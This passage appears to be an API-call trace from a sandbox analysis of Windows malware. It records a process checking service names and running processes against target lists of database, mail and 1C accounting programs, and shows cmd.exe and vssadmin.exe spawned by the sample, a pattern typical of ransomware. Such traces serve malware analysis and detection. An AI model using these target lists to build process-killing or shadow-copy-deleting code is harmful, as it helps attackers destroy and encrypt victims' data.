lpString2="SysMain") returned -1 [0041.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.162] lstrlenW (lpString="Themes") returned 6 [0041.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.162] lstrlenW (lpString="TrkWks") returned 6 [0041.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.162] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.162] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.162] lstrlenW (lpString="UxSms") returned 5 [0041.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.162] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.162] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.162] lstrlenW (lpString="VSS") returned 3 [0041.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0041.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0041.162] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0041.162] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0041.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0041.162] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.162] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.163] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.163] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.163] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.163] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.163] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.163] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.163] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.163] lstrlenW (lpString="Winmgmt") returned 7 [0041.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.163] lstrlenW (lpString="WPDBusEnum") returned 10 [0041.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.163] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0041.163] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0041.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0041.163] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40038b0 | out: hHeap=0x4b0000) returned 1 [0041.163] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198 [0041.165] Process32FirstW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.166] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.167] lstrlenW (lpString="System") returned 6 [0041.167] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.167] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.167] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.167] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0041.167] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.167] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.167] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.167] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.167] lstrlenW (lpString="smss.exe") returned 8 [0041.167] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.167] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.167] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.168] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.168] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.168] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.168] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.168] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.168] lstrlenW (lpString="csrss.exe") returned 9 [0041.168] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.168] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.168] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.168] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.168] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.169] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.169] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0041.169] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.169] lstrlenW (lpString="wininit.exe") returned 11 [0041.169] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0041.169] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0041.169] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0041.169] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0041.169] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0041.169] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0041.169] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0041.169] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.170] lstrlenW (lpString="csrss.exe") returned 9 [0041.170] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.170] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.171] lstrlenW (lpString="winlogon.exe") returned 12 [0041.171] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.171] lstrlenW (lpString="services.exe") returned 12 [0041.171] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.172] lstrlenW (lpString="lsass.exe") returned 9 [0041.172] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.173] lstrlenW (lpString="lsm.exe") returned 7 [0041.173] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.173] lstrlenW (lpString="svchost.exe") returned 11 [0041.173] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.174] lstrlenW (lpString="svchost.exe") returned 11 [0041.174] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.175] lstrlenW (lpString="svchost.exe") returned 11 [0041.175] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.175] lstrlenW (lpString="svchost.exe") returned 11 [0041.175] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.176] lstrlenW (lpString="svchost.exe") returned 11 [0041.176] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.176] lstrlenW (lpString="audiodg.exe") returned 11 [0041.176] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.177] lstrlenW (lpString="svchost.exe") returned 11 [0041.177] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.178] lstrlenW (lpString="svchost.exe") returned 11 [0041.178] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.178] lstrlenW (lpString="dwm.exe") returned 7 [0041.178] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.179] lstrlenW (lpString="explorer.exe") returned 12 [0041.179] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.180] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.180] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.180] lstrlenW (lpString="taskhost.exe") returned 12 [0041.180] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.181] lstrlenW (lpString="svchost.exe") returned 11 [0041.181] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.181] lstrlenW (lpString="taskeng.exe") returned 11 [0041.182] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.182] lstrlenW (lpString="taskhost.exe") returned 12 [0041.182] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0041.183] lstrlenW (lpString="chem venues.exe") returned 15 [0041.183] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0041.184] lstrlenW (lpString="month.exe") returned 9 [0041.184] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0041.184] lstrlenW (lpString="glasgow.exe") returned 11 [0041.184] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0041.185] lstrlenW (lpString="rubber.exe") returned 10 [0041.185] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0041.186] lstrlenW (lpString="petroleum.exe") returned 13 [0041.186] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0041.186] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0041.186] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0041.187] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0041.187] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0041.187] lstrlenW (lpString="batman_oliver.exe") returned 17 [0041.187] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0041.188] lstrlenW (lpString="formation.exe") returned 13 [0041.188] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0041.189] lstrlenW (lpString="whole.exe") returned 9 [0041.189] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0041.189] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0041.189] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0041.190] lstrlenW (lpString="disorder.exe") returned 12 [0041.190] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0041.191] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0041.191] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0041.191] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0041.191] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0041.192] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0041.192] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0041.192] lstrlenW (lpString="perspective.exe") returned 15 [0041.192] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0041.193] lstrlenW (lpString="demand-site.exe") returned 15 [0041.193] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0041.194] lstrlenW (lpString="attachment.exe") returned 14 [0041.194] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0041.194] lstrlenW (lpString="valid-permit.exe") returned 16 [0041.194] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0041.195] lstrlenW (lpString="knights.exe") returned 11 [0041.195] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.195] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.195] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0041.196] lstrlenW (lpString="mobsync.exe") returned 11 [0041.196] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0041.197] lstrlenW (lpString="ohbdap.exe") returned 10 [0041.197] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0041.197] lstrlenW (lpString="cmd.exe") returned 7 [0041.197] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0041.198] lstrlenW (lpString="conhost.exe") returned 11 [0041.198] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0041.198] lstrlenW (lpString="vssadmin.exe") returned 12 [0041.199] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0041.690] lstrlenW (lpString="VSSVC.exe") returned 9 [0041.690] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, 